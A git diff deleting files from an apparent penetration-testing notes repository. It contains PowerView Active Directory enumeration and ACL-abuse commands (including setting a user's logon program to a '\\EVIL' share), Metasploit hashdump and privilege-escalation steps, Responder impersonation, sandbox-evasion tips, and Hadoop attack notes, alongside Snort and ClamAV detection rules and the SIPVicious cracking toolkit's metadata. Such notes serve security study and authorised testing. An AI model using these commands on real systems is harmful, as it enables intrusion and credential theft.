| ?{$_.MemberName -like '*$'} - -# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights -Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} - -# find all policies applied to a current machine -Get-DomainGPO -ComputerIdentity windows1.testlab.local - -# enumerate all groups in a domain that don't have a global scope, returning just group names -Get-DomainGroup -GroupScope NotGlobal -Properties name - -# enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships -# query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames -$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname -$Domains = @{} -$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) { - # extract the domain the foreign user was added to - $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - # check if we've already enumerated this domain - if (-not $Domains[$ForeignUserDomain]) { - $Domains[$ForeignUserDomain] = $True - # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set - $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))" - Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member - } -} -$ForeignMemberships | fl - -# if running in -sta mode, impersonate another credential a la "runas /netonly" -$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force -$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) -Invoke-UserImpersonation -Credential $Cred -# ... action -Invoke-RevertToSelf - -# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer -Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier - -# set the specified property for the given user identity -Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose - -# Set the owner of 'dfm' in the current domain to 'harmj0y' -Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y - -# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) -Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { - ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') -} - -# check if any user passwords are set -$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl - diff --git a/misc/bash.md b/misc/bash.md deleted file mode 100644 index c51e7cb..0000000 --- a/misc/bash.md +++ /dev/null @@ -1,3 +0,0 @@ -# Shell Scripting - -[Bash Cheatsheet](https://devhints.io/bash) diff --git a/misc/clamav.md b/misc/clamav.md deleted file mode 100644 index 15851e6..0000000 --- a/misc/clamav.md +++ /dev/null @@ -1,23 +0,0 @@ -# ClamAV - -* Can be started with custom database or yara rules - -## Hashes Database -* `*.hdb` is a database containing hashes. Can be customized and scanned against - -## Yara Rules - -* Custom `*.yara` rules can be set. An example -```yara -rule example { - meta: - author = "Gabe Newell" - description = "Look at how the Yara rule works with ClamAV" - strings: - $string = "a-string-found-inside-the-malicious-binary" - $file_signature = "magic-number-in-ascii" - condition: - #file_signature at 0 and $string -} -``` - diff --git a/misc/gitTools.md b/misc/gitTools.md deleted file mode 100644 index e2f80aa..0000000 --- a/misc/gitTools.md +++ /dev/null @@ -1,11 +0,0 @@ -# GitTools - -* extract commits from repo -```sh -./extractor.sh -``` -* List `commit-meta.txt` files from all commits -```sh -separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n" -``` -* Compare hashes of the commits. The one without a parent is the oldest one. diff --git a/misc/hadoop.md b/misc/hadoop.md deleted file mode 100644 index cd9a950..0000000 --- a/misc/hadoop.md +++ /dev/null @@ -1,57 +0,0 @@ -# Hadoop - -Distributed storage and computing -* [Hadoop Attack Libs](https://github.com/wavestone-cdt/hadoop-attack-library.git) - -## Terminology -* __Cluster__, forms the datalake -* __Node__, single host inside the cluster -* __NameNode__, node that keeps the dir tree of the Hadoop file system -* __DataNode__, slave node that stores files and is instructed by the NameNode -* __Primary NameNode__, current active node responsible for keeping the directory structure -* __Secondary NameNode__, hot standby for Primary NameNode. There may be multiple on standby inside the cluster -* __Master Node__, Hadoop management app like HDFS or YARN Manager -* __Slave Node__, Hadoop worker like HDFS or MapReduce. a node can be master and slave at the same time -* __Edge Node__, hosting Hadoop user app like Zeppelin or Hue -* __Kerberised__, security enabled cluster through Kerberos - -* __HDFS__, Hadoop Distributed File System, storage device for unstructured data -* __Hive__, primary DB for structured data -* __YARN__, scheduling jobs and resource management -* __MapReduce__, distributed filtering, sorting and reducing -* __HUE__, GUI for HDFS and Hive -* __Zookeeper__, cluster management -* __Kafka__, message broker -* __Ranger__, privileged ACL -* __Zeppelin__, data analytivs inside a webUI - -## Zeppelin - -* Try [default logins](https://zeppelin.apache.org/docs/0.8.2/setup/security/shiro_authentication.html#4-login) -* Try execution inside notebooks - -## Ktabs - -* Finding `ktpass`es to authenticate at the kerberos TGS -* Output principals and use them to init -```sh -klist -k -kinit -k -V -t -``` - -## HDFS - -* User the `hdfs` utility to enumerate the distributed network storage -```sh -hdfs dfs -ls / -``` -* Current user and user on the storage do not have to correspond -* Touched files on the storage may be owned by root -```sh -hdfs dfs -touchz testfile /tmp/testfile -hdfs dfs -ls /tmp -``` -* Impersonate by sourcing keytab file of the user, __NodeManager__ is the highest user in regards to permission - - - diff --git a/misc/metasploit.md b/misc/metasploit.md deleted file mode 100644 index 4d8c381..0000000 --- a/misc/metasploit.md +++ /dev/null @@ -1,95 +0,0 @@ -# Metasploit - -## Modules -* __Auxiliary__ scanners, crawlers and fuzzers -* __Encoders__ encode payloads -* __Evasion__ prepare payloads to circumvent signature based malware detection -* __NOPs__ various architectures -* __Payloads__ to run on target systems - * Singles, inline payloads, for example generic/shell_reverse_tcp - * Stagers, downloads the stages payloads - * Stages, for example windows/x64/shell/reverse_tcp -* __Post__ postexploitation - -## Notes -* Search via scope -```sh -search type:auxiliary -``` -* Send exploit to background -``` -run -z -``` -* `check` if target is vulnerable -* `setg` sets variables globally -* `unset payload` -* Flush via `unset all` - -## Sessions -* `background` or `ctrl+z` -* Foreground via `sessions -i ` - -## Scanning -* Portscan -```sh -search portscan -``` -* UDP Sweep via `scanner/discovery/udp_sweep` -* SMB Scan via `scanner/smb/smb_version` and `smb_enumshares` -* SMB login dictionary attack `scanner/smb/smb_login` -* NetBios via `scanner/netbios/nbname` -* HTTP version `scanner/http/http_version` - -## Database -* Start postgres -* `msfdb init` -* `db_status` -* Separate `workspace -a ` -* Safe scans via `db_nmap` -* Show `hosts` -* Show `services` -* Set RHOST values via `hosts -R` - -## Exploits -* `show targets` -* `show payloads` - -## Reverse Shells -* Multihandler, set options -```sh -use exploit/multi/handler -set payload -``` -* Shellshock as an example -```sh -use multi/http/apache_mod_cgi_bash_env_exec -``` - -## Post Exploitation -* `load kiwi` -* `load python` -* Windows - * list SAM database - ```sh - migrate - hashdump - ``` - * enum shares - ```sh - post/windows/gather/enum_shares - ``` -* Linux - * `use post/linux/gather/hashdump` - -## Other Meterpreter stuff -* Staged and in disguise running as another servicename -``` -getpid -ps -``` -* Attempt to elevate privileges -```sh -getsystem -``` -* Use `multi/handler` or exploit and get an overview via `show payloads` -* UserID via `getuid` diff --git a/misc/nishang b/misc/nishang deleted file mode 160000 index 414ee11..0000000 --- a/misc/nishang +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 414ee1104526d7057f9adaeee196d91ae447283e diff --git a/misc/printer_hacking/PRET b/misc/printer_hacking/PRET deleted file mode 160000 index 638caad..0000000 --- a/misc/printer_hacking/PRET +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 638caad881717b96081ed52d6e7d9c88b0b1b0f2 diff --git a/misc/printer_hacking/preta.md b/misc/printer_hacking/preta.md deleted file mode 100644 index cb8bdab..0000000 --- a/misc/printer_hacking/preta.md +++ /dev/null @@ -1,4 +0,0 @@ -# Printer Hacking - -* [Preta](https://github.com/RUB-NDS/PRET) -* [Cheat Sheet](http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet) diff --git a/misc/responder.md b/misc/responder.md deleted file mode 100644 index ab4d130..0000000 --- a/misc/responder.md +++ /dev/null @@ -1,21 +0,0 @@ -# Responder - -## Impersonate Domain -- Change Responder's certificates - -* After using nsupdate to add the attacker as a subdomain do the following tasks -* Add a certificate and its private key to -```sh -/usr/share/responder/certs -``` -* Edit `Responder.conf` -``` -[HTTPS Server] - -; Configure SSL Certificates to use -SSLCert = certs/cert.pem -SSLKey = certs/key.pem -``` -* Start responder -```sh -responder -I -``` diff --git a/misc/sandbox_evasion.md b/misc/sandbox_evasion.md deleted file mode 100644 index cc43880..0000000 --- a/misc/sandbox_evasion.md +++ /dev/null @@ -1,42 +0,0 @@ -# Sandbox Evasion - -* Evade the usual checks that will be run on you malware - -## Sleeping - -* [checkpoint](https://evasions.checkpoint.com/techniques/timing.html) -* [joesecurity](https://www.joesecurity.org/blog/660946897093663167) - -## Geolocation - -* Check the IP of the machine -* Check the block of the ISP via -```sh -https://rdap.arin.net/registry/ip/ -``` - -## System Info - -* Check system info like -```sh -hostname -user -serial number -software versions -hardware specs -product keys -``` - -## Network Info - -* Check all available network info like -```sh -interfaces -traffic -groups -domain admins -enterprise admins -dns -``` - - diff --git a/misc/smtp.md b/misc/smtp.md deleted file mode 100644 index 5cf804f..0000000 --- a/misc/smtp.md +++ /dev/null @@ -1,3 +0,0 @@ -# SMTP - -* [hacktrick's site](https://book.hacktricks.xyz/pentesting/pentesting-smtp) diff --git a/misc/snort.md b/misc/snort.md deleted file mode 100644 index c4de562..0000000 --- a/misc/snort.md +++ /dev/null @@ -1,142 +0,0 @@ -# Snort - -Snort is comprised of multiple modules to process network packets. - - * __packet decoder__ - * __pre processor__ - * __detection engine__ - * __logging and alerting__ - * __output and plugins__ - -## Data Aquisition Modules - -* __Pcap__, default -* __Afpacket__, inline mode, IPS -* __Ipq__, uses netfilter on linux -* __Nfq__, inline mode on linux -* __Ipfw__, inline mode on BSD -* __Dump__, test mode - -## Usage - -* Check config, and run tests via -```sh -snort -c -T -``` - - -### Sniffing -| Parameter | Description | -|-----------|-------------| -| -v | Verbose. Display the TCP/IP output in the console.| -| -d | Display the packet data (payload).| -| -e | Display the link-layer (TCP/IP/UDP/ICMP) headers. | -| -X | Display the full packet details in HEX.| -| -i | Liste on interface | - -### Packet Logger - -* Logged by IP as directory, ports as files inside these dirs -* BPF filter can be used like `tcp port 80` -* Log files can be opened by wireshark or `tcpdump -r ` - -| Parameter | Description | -|-----------|-------------| -| -l | Logger mode, target log and alert output directory. Default output folder is tcpdump to /var/log/snort.| -| -K ASCII | Log packets in ASCII format | -| -r | Filter dumped logs in Snort | -| -n | Specify the number of packets that will be read | - -### IDS and IPS - -* Output is an alert file along an optional log file - -| Parameter | Description | -|-----------|-------------| -| -c | Defining the configuration file | -| -T | Testing the configuration file | -| -N | Disable logging | -| -D | Background mode | -| -A | Alert modes; __full__: all possible info about alerts, default mode; __fast__ : alert message, timestamp, source and destination IP, port numbers. __console__: Provides fast style alerts on the console screen. __cmg__: CMG style, basic header details with payload in hex and text format. __none__: Disabling alerting | - -* Rules found in `/etc/snort/rules/local.rules` -```sh -alert icmp any any <> any any (msg: "ICMP Packet Found"; sid: 100001; rev:1;) -``` - -### PCAPs - -* `snort -c -r file.pcap -A console -n ` -* `snort -c --pcap-list="file1.pcap file2.pcap" -A console -l .` - - -## Rules - -```sh -snort -c /etc/snort/rules/local.rules -A console -snort -c /etc/snort/rules/local.rules -A full -``` -* Every rule has an IP source and destination, as well as a port for every endpoint -* General, payload and non payload rules - -* Direction of the packet - * `->` to destination - * `<>` bidirectional - -* IDS -> `alert` -* IPS -> `reject` - -```sh - <> (msg: "; ; ; -``` - -* Actions - * `alert` - * `log` - * `drop` - * `reject` - -* SID rule IDs - * < 100 reserved rules - * 100 - 999,999 rules of the build - * >= 1,000,000 user rules - -* Reference may be a CVE -* Revisions are versionings of the rule - -* Filter address range via CIDR -```sh -alert icmp 192.168.1.0/24 any <> any any (msg: "ICMP Packet Found"; sid: 100001; rev:1;) -``` -* Filter multiple address ranges -```sh -alert icmp [192.168.1.0/24, 10.1.1.0/24] any <> any any (msg: "ICMP Packet Found"; sid: 100001; rev:1;) -``` -* Exlude via `!10.10.0.1` -* Filter via any and ports between 4712 and 8080 -```sh -alert icmp any 4711,8080: <> any any (msg: "TCP Packet Found"; sid: 100001; rev:1;) -``` - -### Detection Rules - -* `/etc/snort/rules/local.rules` -* ASCII or gex mode -```sh -ASCII mode - alert tcp any any -> any 8080 (msg: "GET Request Found"; content:"GET";content: "/foo"; sid: 100001; rev:1;) -alert tcp any any -> any 8080 (msg: "GET Request Found"; content:"|47 45 54|"; sid: 100001; rev:1;) -``` -* Case insensitiv -```sh -alert tcp any any -> any 8080 (msg: "GET Request Found"; content:"GET"; nocase; sid: 100001; rev:1;) -``` -* Fast pattern -```sh -alert tcp any any <> any 80 (msg: "GET Request Found"; content:"GET"; fast_pattern; content:"www"; sid:100001; rev:1;) -``` - -* Non payload detection rules - * TCP flags, `flags: F,S,A,R,P,U` - * Payload size, `dsize:min<>max` - * SameIP, `alert ip any any <> any any (msg: "SAME-IP TEST"; sameip; sid: 100001; rev:1;)` - * Packet IDs, `id: 4711` diff --git a/misc/static-binaries b/misc/static-binaries deleted file mode 160000 index 0be8030..0000000 --- a/misc/static-binaries +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 0be803093b7d4b627b4d4eddd732e54ac4184b67 diff --git a/misc/telecommunications/sipvicious.md b/misc/telecommunications/sipvicious.md deleted file mode 100644 index bca3aa5..0000000 --- a/misc/telecommunications/sipvicious.md +++ /dev/null @@ -1,7 +0,0 @@ -# Sipvicious - -* [Enable Security](https://github.com/EnableSecurity/sipvicious.git) - -# Enumeration -* Check which PBX is used via `svmap $TARGET_IP` -* Use `msf6 auxiliary(voip/asterisk_login)` diff --git a/misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/bug-report.md b/misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/bug-report.md deleted file mode 100644 index 4b14e4d..0000000 --- a/misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/bug-report.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -name: Bug report -about: Report bugs to us -title: '' -labels: bug -assignees: '' - ---- - - - -### Expected behavior - - -XXX - -### Actual behavior - - -XXX - -### Steps to reproduce the behavior - - -Command run: - -``` -sipvicious_svwar [params] -``` - -1. xxx -2. xxx - -### Possible Solution - - -XXX diff --git a/misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/custom.md b/misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/custom.md deleted file mode 100644 index 48d5f81..0000000 --- a/misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/custom.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -name: Custom issue template -about: Describe this issue template's purpose here. -title: '' -labels: '' -assignees: '' - ---- - - diff --git a/misc/telecommunications/sipvicious/.github/workflows/auto-test.yml b/misc/telecommunications/sipvicious/.github/workflows/auto-test.yml deleted file mode 100644 index 81b7da3..0000000 --- a/misc/telecommunications/sipvicious/.github/workflows/auto-test.yml +++ /dev/null @@ -1,43 +0,0 @@ -name: Automatic +ve/-ve Testing - -on: - push: - branches: [ master ] - pull_request: - branches: [ master ] - workflow_dispatch: - -jobs: - build: - - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v2 - - - name: Set up Python 3.9 - uses: actions/setup-python@v2 - with: - python-version: 3.9 - - - name: Install the package - run: | - python setup.py install - - - name: svwar tests - run: | - pushd autotest - ./svwar.sh - popd - - - name: svcrack tests - run: | - pushd autotest - ./svcrack.sh - popd - - - name: svmap tests - run: | - pushd autotest - ./svmap.sh - popd diff --git a/misc/telecommunications/sipvicious/.github/workflows/python-app.yml b/misc/telecommunications/sipvicious/.github/workflows/python-app.yml deleted file mode 100644 index 24b4607..0000000 --- a/misc/telecommunications/sipvicious/.github/workflows/python-app.yml +++ /dev/null @@ -1,36 +0,0 @@ -# This workflow will install Python dependencies, run tests and lint with a single version of Python -# For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions - -name: Python application - -on: - push: - branches: [ master ] - pull_request: - branches: [ master ] - -jobs: - build: - - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v2 - - name: Set up Python 3.9 - uses: actions/setup-python@v2 - with: - python-version: 3.9 - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install flake8 pytest - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - - name: Lint with flake8 - run: | - # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - # - name: Test with pytest - # run: | - # pytest diff --git a/misc/telecommunications/sipvicious/.github/workflows/python-package.yml b/misc/telecommunications/sipvicious/.github/workflows/python-package.yml deleted file mode 100644 index 1df21e5..0000000 --- a/misc/telecommunications/sipvicious/.github/workflows/python-package.yml +++ /dev/null @@ -1,39 +0,0 @@ -# This workflow will install Python dependencies, run tests and lint with a variety of Python versions -# For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions - -name: Python package - -on: - push: - branches: [ master ] - pull_request: - branches: [ master ] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - python-version: [3.7, 3.8, 3.9] - - steps: - - uses: actions/checkout@v2 - - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v2 - with: - python-version: ${{ matrix.python-version }} - - name: Install dependencies - run: | - python -m pip install --upgrade pip - python -m pip install flake8 pytest - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - - name: Lint with flake8 - run: | - # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - # - name: Test with pytest - # run: | - # pytest diff --git a/misc/telecommunications/sipvicious/.github/workflows/python-publish.yml b/misc/telecommunications/sipvicious/.github/workflows/python-publish.yml deleted file mode 100644 index 6b2db48..0000000 --- a/misc/telecommunications/sipvicious/.github/workflows/python-publish.yml +++ /dev/null @@ -1,33 +0,0 @@ -# This workflow will upload a Python Package using Twine when a release is created -# For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries - -name: Upload Python Package - -on: - release: - types: [published] - workflow_dispatch: - - -jobs: - deploy: - - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v2 - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: '3.x' - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install setuptools wheel twine - - name: Build and publish - env: - TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} - TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} - run: | - python setup.py sdist bdist_wheel - twine upload dist/* diff --git a/misc/telecommunications/sipvicious/.gitignore b/misc/telecommunications/sipvicious/.gitignore deleted file mode 100644 index fdae87b..0000000 --- a/misc/telecommunications/sipvicious/.gitignore +++ /dev/null @@ -1,18 +0,0 @@ -# syntax: glob -bin -build -dist -include -lib -__pycache__ -distribute.egg-info -setuptools.egg-info -.coverage -.tox -*.egg -*.py[cod] -*.swp -*~ -.hg* -.vscode/* -sipvicious.egg-info diff --git a/misc/telecommunications/sipvicious/Changelog b/misc/telecommunications/sipvicious/Changelog deleted file mode 100644 index ae32db5..0000000 --- a/misc/telecommunications/sipvicious/Changelog +++ /dev/null @@ -1,192 +0,0 @@ -v0.3.4 (20210601) -* Feature: Exit codes implementation -* Automated positive/negative testing with GitHub Actions -* Code refactoring - -v0.3.3 (20210325) -* Feature: Input via STDIN for svcrack and svwar -* Feature: Full URL format support for svwar and svcrack -* Code refactoring - -v0.3.2 (20210303) -* Feature: IPv6 support to svmap -* Bug fix: auth header exception handling -* Bug fix: relative import error fixes -* github issue templates for proper structured issue reporting -* supplementary bug fixes as and when reported - -v0.3.0 (20200129) -* Port to Python 3! thanks to 0xInfection -* IPv6 support for svwar and svcrack -* svcrack now takes the --method option too -* qop and md5-sess auth support added -* lots of bug fixes - -v0.2.8 (20121210) -* Feature: INVITE sends a BYE and supports ACK -* Feature: man pages can be produced with --manpage and man pages are included -* Bug fix: removed fingerprinting completely -* Change: moved pptable.py and svhelper to libs/ -* Change: Number of changes to adhere to Debian's guidelines (copyright/license notices etc) -* Bug fix: fixed an svcrack unhandled exception - -v0.2.7 (20120222) -* Feature: svcrash.py has a new option -b which bruteforces the attacker's port -* Feature: svcrack.py now tries the extension as password by default, automatically -* Feature: svcrack.py and svwar.py now support setting of source port -* Feature: new parameter --domain can be passed to all tools which specifies - a custom domain in the SIP uri instead of the destination IP -* Feature: new --debug switch which shows the messages received -* Bug fix: Sometimes nonces could not be extracted due to an incorrect regex -* Bug fix: Fixed an unhandled exception when decoding tags -* Bug fix: now using hashlib when available instead of md5 -* Bug fix: removed the space after the SIP address in the From header which - led to newer version of Asterisk to ignore the SIP messages -* Bug fix: dictionaries with new lines made svcrack.py stop without this fix -* Change: renamed everything to start with sv* -* Bug fix: changed the way shelved files are opened by the fingerprinting module -* Change: fingerprinting disabled by default since it was giving too many problems - and very little benefits - -v0.2.6 (20100621) -* Feature: svcrash.py is a new tool for sending messages that crash svwar and - svcrack -* Bug fix: helper.py has been fixed when decoding the tags (svcrash abuses - this issue) - -v0.2.5 (20100519) -* Feature: svwar.py has "scan for default / typical extensions" option. This - option tries to guess numeric extensions which have certain patterns - such as 1212 etc. Option is -D, --enabledefaults - -* General: svwar.py and svcrack.py now have a new option which allows you to set - how long the tools will scan without receiving any response back. - This allows us to prevent flooding the target. Some PBX servers now - have built-in firewalls / intrusion prevention systems which will - blacklist the IP address of anyone using svwar or svcrack. Therefore - if the IP is blacklisted it makes sense to stop scanning the target. - The default for this option is 10 seconds. Set this option by using - --maximumtime [seconds] -* Removed: svlearnfp.py is now discontinued. The tool is still included for - historic reasons but disabled. -* Feature: svmap.py now includes the following new features: - --debug - shows messages as they are received (useful for - developers) - --first - scans the first X number of hosts, useful for - random or large address pool scanning - --inputtext - scans IP ranges taken from a text file - --fromname - sets the from header to something specific - useful for abusing other security issues or - when svmap is used in a more flexible way - then usual ;-) -* Feature: svreport.py now has two new modes: - - stats, which lists some statistics - - search, allows you to search through logs looking for - specific user agents -* Bug fix: svwar.py now by default does not send ACK messages (was a buggy feature - that did not follow the standard) -* Bug fix: svwar.py - the template passed through --template option is now checked - sanity. - -v0.2.4 -* Feature: svwar.py can now scan for templated numbers. This allows more flexible - usage of ranges of numbers, allowing for prefixes and suffixes as - need be ;-) -* Bug fix: svwar.py now sends ACK to be nice to other devices. -* Bug fix: each tag is padded with a unique 32 bit -* Bug fix: Contact header is always added to the request to always send well - formed SIP requests -* Bug fix: Large data is sent fragmented now (mysendto) -* Bug fix: svwar.py now handles new SIP response codes - -v0.2.3 -* Feature: Fingerprinting support for svmap. Included fphelper.py and - 3 databases used for fingerprinting. -* Feature: Added svlearnfp.py which allows one to add new signatures to - db and send them to the author. -* Feature: Added DNS SRV check to svmap. Use ./svmap.py --srv domainname.com - to give it a try - -v0.2.svn -* Feature: added the ability for svreport to count results when doing a list -* Bug fix: fixed a bug related to resuming a scan which does not have an - an extension - -v0.2.1 (maintenance) -General: -* Feature: updated the report function to include more information about - the system. Python version and operating system is now included - in the bug report. option now supports optional feedback. - -* Feature: Store information about the state of a session. Sessions can be - complete or incomplete, so that you can resume incomplete sessions - but not complete ones. - -* Feature: Added -e option to svmap. Allows you to specify an extension. This - is useful when using -m INVITE options on a SIP phone. - -* Bug fix: Added a check to make sure that the python version is supported. - Anything less than version 2.4 is not supported - -* Bug fix: IP in the SIP msg was being set to localhost when not explicitly - set. This is not correct behavior and was fixed. As a result of this - behavior some devices, such as Grandstream BT100 were not being detected. - Thanks to robert&someone from bulgaria for reporting this - -* Bug fix: fixed a bug in the database which was reported anonymously via the --reportback / -R option. - Thanks whoever reported that. Bug concerns the dbm which does not - support certain methods supported other database modules referenced - by anydbm. Reproduced on FreeBSD. Thanks to Anthony Williams for help i - dentifying this - -* Bug fix: Ranges of extensions in svwar could not take long numeric extensions - (xrange does not support long / large numbers). Thanks to Joern for reporting this - -* Bug fix: svwar was truncating extension names containing certain characters. Fixed. - -* Bug fix: when binding to a specific interface, the IP within the SIP message could be incorrect (when there are multiple interfaces). This has been fixed. - -* Cosmetic: Certain PBXs reply with "603 Declined" when svwar finds that the - extension does not exist. This creates extra noise. It is now being - suppressed. - -v0.2 -General: -* Feature: replaced 3rd party functions in ip4range with our functions in helper.py -* Feature: ReportBack function is off by default but can be enabled by using -R option -* Feature: verbose and quiet mode. Now making use of logging module -* Newtool: svreport - export to csv, pdf, xml and plain text. -* Feature: session / database support. This allows two things: - - resuming of previous scans - - exporting the results to more meaningful formats -* Feature: give a warning when the default port is already being used and listen on another port - - -Svmap: -* Feature: Host arguments now accepts a variety of formats. You can now scan using ranges like the following: - - 1.1.1.1-20 1.1.1-20.1-10 - - 1.1.1.* - - 1.1.1.1-1.1.2.20 - - sipvicious.org/22 -* Bug fix: Generation of hosts to scan is now dynamic and does not slow down startup time -* Feature: Now making use of the standard logging module with more logging to debug problems -* Feature: When the port is already bound, svmap tries to listen on another port -* Feature: Added options to allow you to specify the ip to bind to as well as the external ip address of the scanner -* Feature: --help now shows proper usage -* Feature: New scanning method - random scan! This scans only valid internet address space. -* Feature: Randomize scan. Allows you to randomize the order of the IP addresses to be scanned. - -Svwar: -* Bug fix: Svwar was missing valid extensions (false negatives) - fixed -* Bug fix: Logic bug which did not identify between a server that does not respond and one that sends an unexpected response. -* Bug fix: Fixed description of errors and usage - -Svcrack: -* General: --help output was updated to match the other tools. - -Svreport: -* General: was born. Allows managing of saved sessions and exporting to different file formats. -* Feature: Reverse name lookup for ip addresses - -v0.1 -First release. diff --git a/misc/telecommunications/sipvicious/LICENSE b/misc/telecommunications/sipvicious/LICENSE deleted file mode 100644 index 20b0e3a..0000000 --- a/misc/telecommunications/sipvicious/LICENSE +++ /dev/null @@ -1,16 +0,0 @@ - SIPVicious OSS is a set of security tools to audit SIP based VoIP systems. - - Copyright (C) 2007-2020 Sandro Gauci - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . diff --git a/misc/telecommunications/sipvicious/MANIFEST.in b/misc/telecommunications/sipvicious/MANIFEST.in deleted file mode 100644 index a509015..0000000 --- a/misc/telecommunications/sipvicious/MANIFEST.in +++ /dev/null @@ -1,2 +0,0 @@ -include LICENSE -include Changelog README.md THANKS TODO diff --git a/misc/telecommunications/sipvicious/README.md b/misc/telecommunications/sipvicious/README.md deleted file mode 100644 index 58547a9..0000000 --- a/misc/telecommunications/sipvicious/README.md +++ /dev/null @@ -1,77 +0,0 @@ -# Welcome to SIPVicious OSS security tools - -![SIPVicious mascot](https://repository-images.githubusercontent.com/32133566/55b41300-12d9-11eb-89d8-58f60930e3fa) - -SIPVicious OSS is a set of security tools that can be used to audit SIP based VoIP systems. Specifically, it allows you to find SIP servers, enumerate SIP extensions and finally, crack their password. - -To get started read the following: - -- [Getting started on the Wiki](https://github.com/enablesecurity/sipvicious/wiki/Getting-Started) -- Communication Breakdown blog: [Attacking a real VoIP System with SIPVicious OSS](https://www.rtcsec.com/2020/06/02-attacking-voip-system-with-sipvicious/). - -For usage help make use of `-h` or `--help` switch. - -## A note to vendors and service providers - -If you are looking for a professional grade toolset to test your RTC systems, please consider [SIPVicious PRO](https://www.sipvicious.pro). - - -## The tools - -The SIPVicious OSS toolset consists of the following tools: - -- svmap -- svwar -- svcrack -- svreport -- svcrash - -### svmap - - this is a sip scanner. When launched against - ranges of ip address space, it will identify any SIP servers - which it finds on the way. Also has the option to scan hosts - on ranges of ports. - - Usage: - -### svwar - - identifies working extension lines on a PBX. A working - extension is one that can be registered. - Also tells you if the extension line requires authentication or not. - - Usage: - -### svcrack - - a password cracker making use of digest authentication. - It is able to crack passwords on both registrar servers and proxy - servers. Current cracking modes are either numeric ranges or - words from dictionary files. - - Usage: - -### svreport - - able to manage sessions created by the rest of the tools - and export to pdf, xml, csv and plain text. - - Usage: - -### svcrash - - responds to svwar and svcrack SIP messages with a message that - causes old versions to crash. - - Usage: - - -## Installation - -Please refer to the [installation documentation](https://github.com/EnableSecurity/sipvicious/wiki/Basics#installation). - -## Further information - -Check out the [wiki](https://github.com/enablesecurity/sipvicious/wiki) for documentation. - diff --git a/misc/telecommunications/sipvicious/THANKS b/misc/telecommunications/sipvicious/THANKS deleted file mode 100644 index 7dcc2db..0000000 --- a/misc/telecommunications/sipvicious/THANKS 